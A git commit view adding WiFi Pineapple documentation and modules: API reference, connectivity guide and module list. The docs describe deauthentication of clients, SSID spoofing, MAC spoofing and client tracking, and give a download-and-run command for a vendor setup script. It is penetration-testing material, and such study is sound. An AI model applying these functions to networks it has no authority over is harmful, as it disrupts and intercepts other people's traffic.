toor10 2 жил өмнө
parent
commit
f030a0fb87
100 өөрчлөгдсөн 3747 нэмэгдсэн , 0 устгасан
  1. 2 0
      README.md
  2. 307 0
      docs/api.md
  3. 112 0
      docs/connectivity.md
  4. 155 0
      docs/creating_modules.md
  5. 52 0
      docs/hardware.md
  6. 59 0
      docs/index.md
  7. 235 0
      docs/management.md
  8. 31 0
      docs/readme.md
  9. 65 0
      docs/setup.md
  10. 63 0
      docs/troubleshooting.md
  11. 17 0
      docs/videos.md
  12. BIN
      firmwares/1.1.1-mk7.bin
  13. BIN
      firmwares/2.7.0-nano.bin
  14. BIN
      firmwares/2.7.0-tetra.bin
  15. 0 0
      json/news.json
  16. 0 0
      json/upgrades.json
  17. 8 0
      modules/.idea/.gitignore
  18. 22 0
      modules/.idea/modules.iml
  19. 8 0
      modules/.idea/modules.xml
  20. 19 0
      modules/.idea/php.xml
  21. 6 0
      modules/.idea/vcs.xml
  22. 11 0
      modules/CONTRIBUTING.md
  23. 95 0
      modules/README.md
  24. BIN
      modules/build/Cabinet.tar.gz
  25. BIN
      modules/build/Commander.tar.gz
  26. BIN
      modules/build/ConnectedClients.tar.gz
  27. BIN
      modules/build/CursedScreech.tar.gz
  28. BIN
      modules/build/DNSMasqSpoof.tar.gz
  29. BIN
      modules/build/DNSspoof.tar.gz
  30. BIN
      modules/build/DWall.tar.gz
  31. BIN
      modules/build/Deauth.tar.gz
  32. BIN
      modules/build/EvilPortal.tar.gz
  33. BIN
      modules/build/HTTPProxy.tar.gz
  34. BIN
      modules/build/HackRF.tar.gz
  35. BIN
      modules/build/InternetSpeedTest.tar.gz
  36. BIN
      modules/build/KeyManager.tar.gz
  37. BIN
      modules/build/LEDController.tar.gz
  38. BIN
      modules/build/Locate.tar.gz
  39. BIN
      modules/build/LogManager.tar.gz
  40. BIN
      modules/build/MACInfo.tar.gz
  41. BIN
      modules/build/Meterpreter.tar.gz
  42. BIN
      modules/build/ModemManager.tar.gz
  43. BIN
      modules/build/ModuleMaker.tar.gz
  44. BIN
      modules/build/Occupineapple.tar.gz
  45. BIN
      modules/build/OnlineHashCrack.tar.gz
  46. BIN
      modules/build/OpenVPNConnect.tar.gz
  47. BIN
      modules/build/PMKIDAttack.tar.gz
  48. BIN
      modules/build/Papers.tar.gz
  49. BIN
      modules/build/PortalAuth.tar.gz
  50. BIN
      modules/build/RandomRoll.tar.gz
  51. BIN
      modules/build/Responder.tar.gz
  52. BIN
      modules/build/SSIDManager.tar.gz
  53. BIN
      modules/build/SSLsplit.tar.gz
  54. BIN
      modules/build/SignalStrength.tar.gz
  55. BIN
      modules/build/SiteSurvey.tar.gz
  56. BIN
      modules/build/Status.tar.gz
  57. BIN
      modules/build/Terminal.tar.gz
  58. BIN
      modules/build/Themes.tar.gz
  59. BIN
      modules/build/ZeroTier.tar.gz
  60. BIN
      modules/build/autossh.tar.gz
  61. BIN
      modules/build/base64encdec.tar.gz
  62. BIN
      modules/build/dump1090.tar.gz
  63. BIN
      modules/build/get.tar.gz
  64. 0 0
      modules/build/modules.json
  65. BIN
      modules/build/ngrep.tar.gz
  66. BIN
      modules/build/nmap.tar.gz
  67. BIN
      modules/build/p0f.tar.gz
  68. BIN
      modules/build/tcpdump.tar.gz
  69. BIN
      modules/build/tor.tar.gz
  70. BIN
      modules/build/urlsnarf.tar.gz
  71. BIN
      modules/build/wps.tar.gz
  72. BIN
      modules/src.zip
  73. 173 0
      modules/src/Cabinet/api/module.php
  74. 143 0
      modules/src/Cabinet/js/module.js
  75. 180 0
      modules/src/Cabinet/module.html
  76. 10 0
      modules/src/Cabinet/module.info
  77. 21 0
      modules/src/Commander/LICENSE
  78. 15 0
      modules/src/Commander/Python/commander.conf
  79. 122 0
      modules/src/Commander/Python/commander.py
  80. 61 0
      modules/src/Commander/api/module.php
  81. 15 0
      modules/src/Commander/assets/default.conf
  82. 67 0
      modules/src/Commander/js/module.js
  83. 50 0
      modules/src/Commander/module.html
  84. 10 0
      modules/src/Commander/module.info
  85. 78 0
      modules/src/ConnectedClients/api/module.php
  86. 114 0
      modules/src/ConnectedClients/js/module.js
  87. 59 0
      modules/src/ConnectedClients/module.html
  88. 10 0
      modules/src/ConnectedClients/module.info
  89. 66 0
      modules/src/CursedScreech/README.md
  90. 654 0
      modules/src/CursedScreech/api/module.php
  91. BIN
      modules/src/CursedScreech/includes/api/cs/Documentation.pdf
  92. 390 0
      modules/src/CursedScreech/includes/api/cs/PineappleModules.cs
  93. 24 0
      modules/src/CursedScreech/includes/api/cs/template/payload.cs
  94. 44 0
      modules/src/CursedScreech/includes/api/cs/template/payloadAuth.cs
  95. BIN
      modules/src/CursedScreech/includes/api/python/Documentation.pdf
  96. 152 0
      modules/src/CursedScreech/includes/api/python/PineappleModules.py
  97. 6 0
      modules/src/CursedScreech/includes/api/python/template/payload.py
  98. 1 0
      modules/src/CursedScreech/includes/changelog/Version 1.0
  99. 6 0
      modules/src/CursedScreech/includes/changelog/Version 1.1
  100. 9 0
      modules/src/CursedScreech/includes/changelog/Version 1.2

+ 2 - 0
README.md

@@ -0,0 +1,2 @@
+
+

+ 307 - 0
docs/api.md

@@ -0,0 +1,307 @@
+# WiFi Pineapple Module API
+
+## Introduction
+Unlike the old web interface, the back end of the new interface has been decoupled from the front end. All requests to perform system actions are sent as POSTs to `/api/`. The content of the POST is JSON and contains a minimum of two parameters.
+#### The first parameter key must be either `system` or `module`
+`system` is used for core system functions such as logging users in and performing system setup as well as managing notifications. `module` is used when sending a request to any of the default modules or to any user modules. The value is set to the module with which you are trying to communicate. For example, `"system": "notifications"` or `"module": "RandomRoll"`.
+#### The second parameter key `action`
+This is set to the action you wish to perform. For instance, this could be `"action": "listNotifications"` or `"action": "getRandomRollRolls"`.
+#### Any other parameters are optional and are specific to the module and action you are requesting
+Many actions do not require additional parameters. For instance, `{"system": "notifications", "action": "listNotifications"}` will return a list of all of the current unread notifications (as JSON). However, there are some functions, such as `addNotification`, that require additional parameters (in this case `message`). To create a new notifications, one would use the following request:
+```
+{
+  "system": "notifications",
+  "action": "addNotification",
+  "message": "Hello World!"
+}
+```
+
+## XSS prefix on API output
+
+Responses from the API will contain a well known prefix to help mitigate against XSS attacks. Clients will need to strip this prefix before parsing the JSON. You can read more on the [Angular Guide](https://angular.io/guide/security), as well as the [Google Blog](https://security.googleblog.com/2011/05/website-security-for-webmasters.html)
+
+## Authentication
+_(Please note that extra authentication parameters are not required when using the angular module api due to the fact that client side module components are loaded after the user authenticates their browser)_
+
+There are a couple ways to authenticate with the pineapple. Requests sent via the web interface use a PHPSESSID cookie as well as an X-XSRF-TOKEN header. The pineapple will verify that the session is valid and logged in and that the XSRF token matches the one generated at the start of the session. If both of these conditions are met, the request is routed. An example of a request sent by chrome is as follows:
+```
+POST /api/ HTTP/1.1
+Host: 172.16.42.1:1471
+Connection: keep-alive
+Content-Length: 55
+Accept: application/json, text/plain, */*
+Origin: http://172.16.42.1:1471
+X-XSRF-TOKEN: b01c5046faa2f8ffbed6f2fdd90a5605e6c505e3
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36
+Content-Type: application/json;charset=UTF-8
+Referer: http://172.16.42.1:1471/
+Accept-Encoding: gzip, deflate
+Accept-Language: en-US,en;q=0.8
+Cookie: PHPSESSID=cfd6b0bb983666362cae311c457d1d34; XSRF-TOKEN=b01c5046faa2f8ffbed6f2fdd90a5605e6c505e3
+
+{"system":"notifications","action":"listNotifications"}
+```
+This type of authentication is awkward and clumbsy to implement programmatically. Because of this, we have added a new way to authenticate with the WiFi Pineapple: API tokens. Though API tokens are supported by default, the pineapple is shipped without any valid tokens. The process of generating API tokens is simplified by the [API Tokens module](https://github.com/735tesla/Pineapple-API-Tokens-Module). After a token has been generated, it can be sent as an additional parameter. To use an API token, simply add an additional `apiToken` key to the request body. For example, to add a notification, one could send the following JSON request:
+```
+{
+  "system": "notifications",
+  "action": "addNotification",
+  "message": "Hello World!",
+  "apiToken": "7365626b696e6e652063616e7420636f6465202724ef6b5d7ac0b800cc83d474e8e007"
+}
+```
+If the `apiToken` parameter is valid, the request will be route; otherwise an error will be returned.
+
+## Modules
+### Advanced
+#### Description
+The advanced module simplifies some more advanced processes like performing system upgrades and clearing system caches. For example, the following will clear the pineapple's caches:
+```
+{
+  "module": "Advanced",
+  "action": "dropCaches"
+}
+```
+Action|Description|Parameters
+------|-----------|----------
+`getResources`|Returns a JSON array of disk and memory usage|_none_
+`dropCaches`|Clears system caches|_none_
+`getUSB`|Returns a list of USB devices connected ot the pineapple|_none_
+`getFstab`|Returns the contents of `/etc/config/fstab`|_none_
+`getCSS`|Returns the contents of main.css|_none_
+`saveFstab`|Overwrites `/etc/config/fstab` with a string|<ul><li>`fstab`<ul><li>A string to be written to `/etc/config/fstab`</li></ul></li></ul>
+`saveCSS`|Overwrites the contents of main.css with a string|<ul><li>`css`<ul><li>A string to be written to `/pineapple/css/main.css`</li></ul></li></ul>
+`checkForUpgrade`|Fetches the list of upgrades and the description of each|_none_
+`downloadUpgrade`|Upgrades the pineapple to a specified firmare version (see output of `checkForUpgrades` and `getCurrentVersion`)|<ul><li>`version`<ul><li>The version to which the pineapple should be upgraded</li></ul></li></ul>
+`getDownloadStatus`|Tells whether a firmware download is complete or in progress and how many bytes have been downloaded|_none_
+`performUpgrade`|Upgrades using the image in /tmp/upgrade.bin|_none_
+`getCurrentVersion`|Returns the current firmware version on the pineapple|_none_
+### Clients
+#### Description
+The Clients module allows for the monitoring and management of connected clients. For example, the following would kick the client with the MAC address `aa:bb:cc:dd:ee:ff`:
+```
+{
+  "module": "Clients",
+  "action": "kickClient",
+  "mac": "aa:bb:cc:dd:ee:ff"
+}
+```
+Action|Description|Parameters
+------|-----------|----------
+`getClientData`|Returns a JSON array of connected clients|_none_
+`kickClient`|Kicks (disconnects) a connected client from the pineapple|<ul><li>`mac`<ul><li>The MAC address of the client to be kicked</li></ul></li></ul>
+
+### Configuration
+#### Description
+The configuration module allows for the modification of several pineapple configuration options such as timezone and landing page. The example below would set the landing page content to `<b><i>Pineapples are yummy</i></b>`:
+```
+{
+  "module": "Configuration",
+  "action": "saveLandingPage",
+  "landingPageData": "<b><i>Pineapples are yummy</i></b>"
+}
+```
+Action|Description|Parameters
+------|-----------|----------
+`getCurrentTimeZone`|Retrieves the current timezone of the pineapple|_none_
+`changeTimeZone`|Changes the pineapple's timezone|<ul><li>`timeZone`<ul><li>The timezone to switch to</li></ul></li></ul>
+`getLandingPageData`|Gets the current landing page data|_none_
+`saveLandingPage`|Changes the landing page content|<ul><li>`landingPageData`<ul><li>The text to which the landing page will be set</li></ul></li></ul>
+`changePassword`|Changes the password for the root user|<ul><li>`newPassword`<ul><li>The new password for the root user</li></ul></li><li>`newPasswordRepeat`<ul><li>For verification, must be the same as `newPassword`</li></ul></li><li>oldPassword<li><ul>The current password for root</ul></li></li></ul>
+`resetPineapple`|Resets the pineapple (executes `mtd erase rootfs_data`)|_none_
+`haltPineapple`|Halts the pineapple|_none_
+`rebootPineapple`|Reboots the pineapple|_none_
+`getLandingPageStatus`|Shows whether the landing page is enabled or not|_none_
+`enableLandingPage`|Enables the landing page|_none_
+`disableLandingPage`|Disables the landing page|_none_
+### Dashboard
+#### Description
+You can use the Dashboards API to return useful values such as CPU usage, total SSIDs, SSIDs discovered this session and uptime. For example, the following will get the bulletins:
+```
+{
+  "module": "Dashboard",
+  "action": "getBulletins"
+}
+```
+Action|Description|Parameters
+------|-----------|----------
+`getOverviewData`|Return an array containing `cpu`, `uptime`, `clients`, `SSIDs` and `newSSIDs`.|_none_
+`getLandingPageData`|Return all landing page browser stats|_none_
+`getBulletins`|Return bulletins|_none_
+
+### Filters
+#### Description
+The filters module has API that will allow you manage all aspects of the Filter module externally, such as getting client data or adding clients. It is used like so:
+```
+{
+    "module": "Filters",
+    "action": "getClientData"
+}
+```
+Action|Description|Parameters
+------|-----------|----------
+`getClientData`|Return an array of client filters. (Mode and Filters)|_none_
+`getSSIDData`|Return an array of SSID filters (Mode and Filters)|_none_
+`toggleClientMode`|Toggle between whitelist and blacklist mode for client filtering|_none_
+`toggleSSIDMode`|Toggle between whitelist and blacklist mode for SSID filtering|_none_
+`addClient`|Add client to filter|<ul><li>`mac`<ul><li>MAC address of client</ul></li></ul></li>
+`addSSID`|Add SSID to filter|<ul><li>`ssid`<ul><li>SSID of Access Point</ul></li></ul></li>
+`removeClient`|Remove client from filter|<ul><li>`mac`<ul><li>MAC address of client</ul></li></ul></li>
+`removeSSID`|Remove SSID from filter|<ul><li>`ssid`<ul><li>SSID of Access Point</ul></li></ul></li>
+### Logging
+#### Description
+The Logging module provides easy access to the syslog, dmesg, PineAP and Reporting logs. To use these API functions, send your api request with the "module" set to "Logging":
+```
+{
+    "module": "Logging",
+    "action": "getSyslog",
+}
+```
+Action|Description|Parameters
+------|-----------|----------
+`getSyslog`|Return the system log in full|_none_
+`getDmesg`|Return the kernel log in full|_none_
+`getReportingLog`|Return the log from the Reporting module|_none_
+`getPineapLog`|Return the log from PineAP|_none_
+`clearPineapLog`|Clear the PineAP log file|_none_
+`getPineapLogLocation`|Return the location of the PineAP log|_none_
+`setPineapLogLocation`|Set the location for PineAP logging|<ul><li>`location`<ul><li>New location of PineAP log.</ul></li></ul></li>
+### ModuleManager
+#### Description
+The Module Manager is responsible for installing, removing, and upgrading modules. It's API can be used to manage modules, as well as fetching the list of installed modules and getting available modules. To use them in your module, your request body would look like this:
+```
+{
+    "module": "ModuleManager",
+    "action": "removeModule",
+    "moduleName": "Module"
+}
+```
+
+Action|Description|Parameters
+------|-----------|----------
+`getAvailableModules`|Return an array of modules available for download|_none_
+`getInstalledModules`|Return an array of modules currently installed|_none_
+`downloadModule`|Download a specified module|<ul><li>`moduleName`<ul><li>Name of module to install</li></ul></li></ul><ul><li>`destination`<ul><li>Destination of module.(`sdcard` or `internal`)</li></ul>
+`installModule`|Install a specified module|<ul><li>`moduleName`<ul><li>Name of module to install</li></ul></li></ul><ul><li>`destination`<ul><li>Destination of module.(`sdcard` or `internal`)</li></ul>
+`removeModule`|Remove a specified module|<ul><li>`moduleName`<ul><li>Name of module to remove</ul></li></ul></li>
+`downloadStatus`|Check status of module download|_none_
+`installStatus`|Check status of module install|_none_
+`checkDestination`|Check if the specified destination has the specified space free|<ul><li>`name`<ul><li>Name of module</ul></li></ul></li><ul><li>`size`<ul><li>Size of module</ul></li></ul></li>
+### Networking
+#### Description
+The Networking module API allows you to interface with the networking side of the WiFi Pineapple without having to write your own functions to manage interfaces, the DNS, and the routing table. As described above, you can use these actions in your own module like so:
+```
+{
+    "module": "Networking",
+    "action": "setHostname",
+    "hostname": "Pineapple"
+}
+```
+
+Action|Description|Parameters
+------|-----------|----------
+`getRoutingTable`|Returns the routing table of the Pineapple|_none_
+`restartDNS`|Restarts the DNS service on the Pineapple|_none_
+`updateRoute`|Updates the routing table|<ul><li>`routeIP`<ul><li>IP Address for the route</li></ul></li></ul><ul><li>`routeInterface`<ul><li>Interface for the route</ul></li>
+`getAdvancedData`|Returns the hostname and ifconfig|_none_
+`setHostname`|Sets the hostname for the Pineapple|<ul><li>`hostname`<ul><li>String for the hostname</li></ul></li></ul>
+`resetWirelessConfig`|Resets the Wireless Configuration for the Pineapple|_none_
+`getInterfaceList`|Returns an array of available network interfaces|_none_
+`saveAPConfig`|Writes properties to the AP configuration|<ul><li>`selectedChannel`<ul><li>Channel for the AP to operate on</li></ul></li></ul><ul><li>`openSSID`<ul><li>String for the SSID of the Open Access Point</li></ul></li></ul><ul><li>`hideOpenAP`<ul><li>Boolean to hide the Open Access Point or not</li></ul></li></ul><ul><li>`managementSSID`<ul><li>String for the SSID of the Management AP</li></ul></li></ul><ul><li>`managementKey`<ul><li>string for the WPA2 passphrase for the Management AP</li></ul></li></ul><ul><li>`disableManagementAP`<ul><li>Boolean to disable the Management AP or not</li></ul></li></ul>
+`getAPConfig`|Returns an array of properties from the access point configuration.|_none_
+`getMacData`|Returns the MAC Addresses of each of the wireless interfaces|_none_
+`setMac`|Sets the MAC address for a specified interface|<ul><li>`random`<ul><li>Boolean to set the MAC address as a random value.</li></ul></li></ul><ul><li>`interface`<ul><li>The interface you want to change the MAC address of</li></ul></li></ul><ul><li>`mac`<ul><li>The new MAC address of the interface</li></ul></li></ul>
+`resetMac`|Reset the specified interface's MAC address to the factory default.|<ul><li>`interface`<ul><li>The interface to reset</li></ul></li></ul>
+
+### PineAP
+#### Description
+The PineAP module provides an easy way to interface with the [PineAP suite](index.md#The_PineAP_Suite). For example, one might use the following to add an SSID to PineAP's pool:
+```
+{
+  "module": "PineAP",
+  "action": "addSSID",
+  "ssid": "ACME WiFi"
+}
+```
+Action|Description|Parameters
+------|-----------|----------
+`getPool`|Returns an array of the SSIDs in PineAP's pool|_none_
+`clearPool`|Clears the PineAP pool|_none_
+`addSSID`|Adds an SSID to the pool|<ul><li>`ssid`<ul><li>The SSID string to add</li></ul></li>
+`removeSSID`|Removes an SSID from the pool|<ul><li>`ssid`<ul><li>The SSID string to remove</li></ul></li>
+`setPineAPSettings`|Update PineAP's settings|<ul> <li>`settings` <ul> <li>A dictionary with setting key/value pairs <ul> <li>`allowAssociations` <ul> <li>Whether clients should be allowed to associate to the pineapple</li> </ul> </li> <li>`logProbes` <ul> <li>Whether to log probe requests</li> </ul> </li> <li>`logAssociations` <ul> <li>Whether to log associations</li> </ul> </li> <li>`beaconResponses` <ul> <li>Whether to send beacon responses</li> </ul> </li> <li>`captureSSIDs` <ul> <li>Whether to add sniffed SSIDs to the pool</li> </ul> </li> <li>`broadcastSSIDs` <ul> <li>Whether to broadcast the SSID pool</li> </ul> </li> <li>`beaconInterval` <ul> <li>The beacon interval- must be one of "low", "normal" or "aggressive"</li> </ul> </li> <li>`responseInterval` <ul> <li>The response interval- must be one of "low", "normal" or "aggressive"</li> </ul> </li> <li>`targetMAC` <ul> <li>The MAC to target with responses</li> </ul> </li> <li>`sourceMAC` <ul> <li>The MAC PineAP should spoof</li> </ul> </li> </ul> </li> </ul> </li></ul>
+`getPineAPSettings`|Returns a dictionary with all the current PineAP settings|_none_
+`deauth`|Deauth a list of clients from a station. **_Use this with caution. The misuse of this function may be illegal in some places._***|<ul><li>`sta`<ul><li>The bssid of the station from which to disconnect the clients</li></ul></li><li>`clients`<ul><li>An array of client MACs to deauth</li></ul></li><li>`multiplier`<ul><li>The number of deauths (from 1 to 10) to send</li></ul></li><li>`channel`<ul><li>The channel to hop to before sending the frame(s)</li></ul></ul></li></ul>
+`enable`|Enables PineAP|_none_
+`disable`|Disables PineAP|_none_
+`saveAsDefault`|Makes the current configuration persist after reboots|_none_
+`downloadPineAPPool`|Get a download link to the SSID pool (useful for client side modules)|_none_
+### Recon
+#### Description
+The recon module allows for the detection of access points and clients within range of the pineapple. The following example would scan for nearby access points:
+```
+{
+  "module": "Recon",
+  "action": "startScan",
+  "scanType": "apOnly"
+}
+```
+Action|Description|Parameters
+------|-----------|----------
+`startScan`|Starts a new scan|<ul><li>`scanType`<ul><li>The type of scan to perform (either `apOnly` or `clientAp`)</li></ul></li><li>`scanDuration`<ul><li>The duration to of time (in seconds) to scan for</li></ul></li></ul>
+`scanStatus`|Get the status or results of a scan|<ul><li>`scan`<ul><li>A JSON encoded scan object (e.g.`{"scanID": "1234567895", "scanType": "apOnly"}`)</li></ul></li></ul>
+
+### Reporting
+#### Description
+The reporting module allows you to control the automatic reporting features of the pineapple. For example, the following would return report contents:
+```
+{
+  "module": "Reporting",
+  "action": "getReportContents"
+}
+```
+Action|Description|Parameters
+------|-----------|----------
+`getReportConfiguration`|Gets the current reporting configuration|_none_
+`getReportContents`|Gets the report contents|_none_
+`getEmailConfiguration`|Gets the current email configuration for reporting|_none_
+`setReportConfiguration`|Changes the report configuration|<ul><li>config<ul><li>A JSON object containing the new configuration (eg. `{"storeReport": true, "sendReport": true, "interval": 1, "generateReport": true}`)</li></ul></li></ul>
+`setReportContents`|Set which items get reported|<ul><li>config<ul><li>A JSON object containing the new configuration (eg. `{"pineAPLog": true, "clearLog": true, "siteSurvey": false, "siteSurveyDuration": 0, "client": false, "tracking": false}`)</li></ul></li></ul>
+`setEmailConfiguration`|Set the email configuration|
+### Tracking
+#### Description
+Tracking allows you to create custom scripts for tracking clients. The following example would set a new tracking script:
+```
+{
+  "module": "Tracking",
+  "action": "saveScript",
+  "trackingScript": "#!/bin/bash\n\nMAC=$1\nTYPE=$2 # 0 PROBE; 1 ASSOCIATION\nSSID=$3\n"
+}
+```
+Action|Description|Parameters
+------|-----------|----------
+`getScript`|Gets the current tracking script contents|_none_
+`saveScript`|Sets the current tracking script contents|<ul><li>`trackingScript`<ul><li>The tracking script contents</li></ul></li>
+`getTrackingList`|Gets the current list of clients being tracked|_none_
+`addMac`|Adds a MAC to tracking|<ul><li>`mac`<ul><li>The MAC address to start tracking</li></ul></li>
+`removeMac`|Removes a MAC from tracking|<ul><li>`mac`<ul><li>The MAC address to stop tracking</li></ul></li>
+
+## Module.php API
+Every module must extend the `Module` class that resides in `Module.php`. Extending this class gives the module access to the following API functions. For more information, see [Creating Modules](creating_modules.md).
+
+Function|Arguments|Description|Usage
+----|----|----|----
+execBackground()|`command`|Will execute `command` in the background.|`$this->execBackground("ifconfig wlan1 down");
+installDependency()|`dependencyName`|Will use opkg to install `dependencyName`.|`$this->installDependecy('nmap');`
+checkDependency()|`dependencyName`|Will use opkg to check is `dependencyName` is installed.|`$this->checkDependency('nmap');`
+checkRunning()|`processName`|Will check to see if `processName` is currently running on the system.|`$this->checkRunning('nmap');`
+uciGet()|`uciString`|Will use UCI to get value of supplied `uciString`|`$this->uciGet("network.wan");`
+uciSet()|`settingString`<br>`value`|Will use UCI to set the supplied `value` of supplied `settingString`.|`$this->uciSet("network.wan.ifname", "wan2");`
+uciAddList()|`settingString`<br>`value`|Will use UCI to create a new list with supplied `settingString` and `value`.|`$this->uciAddList("network", "wan3");`
+
+
+## Community Python API
+A community python API wrapper exists [here](https://github.com/735tesla/python-pineapple) but documentation is still in progress.
+
+## Further Information
+<small>made with <3</small>

+ 112 - 0
docs/connectivity.md

@@ -0,0 +1,112 @@
+# Internet Connectivity
+
+The WiFi Pineapple may be used to provide WiFi clients with Internet access. While this may not be necessary for all deployment scenarios, it is commonly configured. There are four basic methods for setting up an Internet connection on the WiFi Pineapple.
+
+1. Wired Internet Connection
+2. Internet Connection Sharing
+3. USB Tethering
+4. WiFi Client Mode
+
+These sections serve as guides to setting up a WiFi Pineapple Internet connection. However, please be advised that this guide cannot cover the infinite possible network configurations.
+
+## Wired Internet Connection
+
+The **WiFi Pineapple TETRA** provides two Ethernet ports. A WAN port via a traditional RJ45 port, as well as a LAN port accessible by its USB ETH port. The USB ETH port connects the host device to the LAN via an onboard Realtek USB Ethernet controller.
+
+The WAN port is connected to eth0 on the WiFi Pineapple TETRA and by default will attempt to obtain an IP address from DHCP.
+
+The LAN port is connected to eth1 on the WiFi Pineapple TETRA and hosts the internal DHCP server which will offer an IP address in the 172.16.42.x range by default.
+
+Note: If Windows does not automatically install the Microsoft WHQL USB Ethernet driver from Windows Update, you may [download it from Realtek](http://www.realtek.com.tw/downloads/downloadsView.aspx?Langid=1&PNid=55&PFid=55&Level=5&Conn=4&DownTypeID=3&GetDown=false#RTL8152B%28N%29).
+
+The **WiFi Pineapple NANO** may be enhanced with wired Ethernet functionality by using a supported USB Ethernet adapter. This accessory, when plugged into the USB Host port on the WiFi Pineapple NANO, will enumerate as eth1. Standard network and firewall configuration may apply. See the appropriate /etc/config files for details.
+
+## Internet Connection Sharing
+
+One of the most popular deployment scenarios is to configure the WiFi Pineapple to share an Internet connection from a personal computer, such as a notebook running Windows or Linux. With the WiFi Pineapple providing its WiFi clients Internet access from the host PC, the penetration tester may then extend MITM functions through desktop applications such as packet analyzers and auditing frameworks. 
+
+## Ethernet with Windows
+
+By default the WiFi Pineapple is expecting an Internet connection from 172.16.42.42 on its LAN. Connect the WiFi Pineapple LAN port to the Windows PC host. On the NANO this is the male USB A plug. On the TETRA this is the USB ETH port.
+
+* Open Control Panel > Network and Internet > Network Connections
+* Locate the WiFi Pineapple network interface
+
+Note: For convenience the network interface may be renamed by highlighting it and pressing F2
+
+* From the Internet connection source (typically a Wi-Fi or Ethernet), right-click the interface and select Properties.
+* From the Sharing tab check the box labeled Allow other network users to connect through this computer's Internet connection and select the WiFi Pineapple network interface from the drop down menu.
+* Click OK
+* Right-click the WiFi Pineapple network interface and select Properties
+* Select Internet Protocol Version 4 (TCP/IPv4) and click Properties
+* Replace the default IP address with 172.16.42.42
+* Click OK
+* Click Close
+
+## Ethernet with Linux
+
+By default the WiFi Pineapple is expecting an Internet connection from 172.16.42.42 on its LAN. Connect the WiFi Pineapple LAN port to the Linux PC host. On the NANO this is the male USB A plug. On the TETRA this is the USB ETH port.
+
+Once connected, the network connection of the host Linux PC may be forwarded to the WiFi Pineapple using iptables. A free script is available to aid in iptables configuration for most Linux hosts. To download the script from the terminal, run:  
+
+> wget www.wifipineapple.com/wp6.sh
+
+Next the script must be made executable, typically by running:  
+
+> chmod +x wp6.sh
+
+Finally execute the script by running: 
+
+> ./wp6.sh
+
+The WiFi Pineapple Connector script for Linux offers either guided or manual setup modes. For most the guided setup is advised. Press G then follow the onscreen prompts to save the connection settings. Once saved, press C to connect.
+
+The WiFi Pineapple Connector script for Linux is provided free of charge for convenience, without warranty, and is not necessary for successful operation of the WiFi Pineapple.
+
+## USB Tethering (Android)
+
+The WiFi Pineapple can be provided an Internet connection from many means, including USB Ethernet adapters. Many Android devices have the capability to emulate a USB Ethernet adapters, sharing their Internet connections with other devices like notebook computers.
+
+Check to see if your Android device supports this Internet Connection Sharing method by selecting Tethering and Portable Hotspot from the Network section of the Settings application. If the option for USB Tethering exists, your Android device may be capable of sharing its Internet connection with the WiFI Pineapple.
+
+Depending on Android ROM and Carrier restrictions, this feature may be unavailable or require a subscription. To test, plug a data-capable USB cable between the host port on the WiFI Pineapple and the Android device. The USB Tethering option should become available.
+
+Note: The USB cable provided with the Pineapple Juice battery is for charging only and does not support data transfer.
+
+If USB Tethering is supported by the Android device, when enabled it will enumerate on the WiFi Pineapple as a new network interface, usb0, and the WiFi Pineapple will automatically adjust its kernel routing table to use this interface for its Internet access, as well as Internet access for any clients connected to the WiFi Pineapple. Via DHCP, the WiFi Pineapple will receive an IP address on the Android devices internal network (typically 192.168.x.x).
+
+Since the WiFi Pineapple will become a client on the Android devices internal network, it is possible to access the WiFi Pineapple web interface from the Android device if the WiFi Pineapple's IP address is known.
+
+For convenience in accessing the USB Tethering setting, as well as discovering the IP address of the WiFi Pineapple on the Android devices network and browsing to the web interface, a [WiFi PIneapple Connector app for Android is provided free of charge from Google Play](
+https://play.google.com/store/apps/details?id=org.hak5.pineappleconnector).
+
+When launching the WiFi Pineapple Connector android app, you will be prompted to configure tethering. Tapping Configure will jump to the systems Tethering and Portable Hot Spot settings menu, if available. Tap to enable USB Tethering, then tap back. Once enabled, the WiFi Pineapple Connector app will wait for a network connection from the WiFi Pineapple indicating its IP address on the Android devices internal network. Once discovered, the browser will automatically load the web interface.
+
+Not all Android devices use the standard USB Tethering API or may block the data transfer from the WiFi Pineapple to the Android device. In this case USB Tethering may be enabled, but the WiFi Pineapple Connector app will be unable to determine the IP address of the WiFi Pineapple and launch the browser automatically. In this case determining the IP address of usb0 on the WiFi Pineapple may be initiated by another means, such as from a serial connection or from another device connected to the WiFi Pineapple over WiFi.
+
+The Android API restricts systematically enabling the USB Tethering function, which is why the WiFi Pineapple Connector app can only jump to the systems Tethering and Portable Hotspot settings menu. This functionality may be achieved on rooted devices by other means.
+
+The WiFi Pineapple Connector app for Android is provided free of charge for convenience, without warranty, and is not necessary for successful operation of the WiFi Pineapple.
+
+## WiFi Client Mode
+
+The WiFi Pineapple may obtain an Internet connection from a nearby access point, such as a traditional wireless router as well as personal hotspots and WiFi tethering from smartphones. While achievable throughput may not be as high as with traditional wired, shared or tethered configurations - WiFi Client Mode provides significant convenience for many deployments.
+
+To begin, first note that while the WiFi Pineapple includes two radios (wlan0 and wlan1), they are both required for PineAP operation. If the second radio (wlan1) is used for Client Mode, PineAP functions may not be used. For this reason the auditor is advised to use an external USB WiFi adapter with a compatible chipset.
+
+Compatible chipsets include RaLink RT2800 devices, as well as some Atheros and RealTek devices. Wireless adapters from HakShop.com are certified to work with the WiFi Pineapple.
+
+To enable WiFi Client Mode, navigate to the Networking section of the web interface. From the WiFi Client Mode heading, select the desired interface. When using external USB WiFi adapters, these will be listed as wlan2 and greater. 
+
+With the preferred adapter selected, click Scan to perform a site survey of nearby access points. When the scan completes, a list of Access Points will be available from a drop-down menu. 
+
+Selecting an Access Point will display additional information about the base station, such as BSSID, SSID, channel, signal strength, quality and security.
+
+WPA protected Access Points will require a password. With the Access Point selected, and a WPA key entered if required, click Connect. This will instruct the WiFi Pineapple to attempt to associate with the selected network and obtain an IP address from DHCP. Clicking Refresh will identify the WiFi Pineapple IP address on the target network.
+
+Once configured for WiFi Client Mode, the WiFi Pineapple will attempt to connect to the desired Access Point after each boot. 
+
+To disconnect and prevent subsequent connections at boot, click the Disconnect button from the WiFi Client Mode section of the Networking page in the web interface.
+
+WiFi Client Mode connection information is stored in the **/etc/config/wireless** configuration file.
+

+ 155 - 0
docs/creating_modules.md

@@ -0,0 +1,155 @@
+# Creating WiFi Pineapple Modules
+
+##Introduction
+With the new WiFi Pineapple Interface, It is easy to create modules that use the new [API](api.md).
+Modules use HTML, AngularJS and PHP to make requests and retrieve a response. The new interface and the modules also use Bootstrap.
+
+
+##Anatomy of a basic module
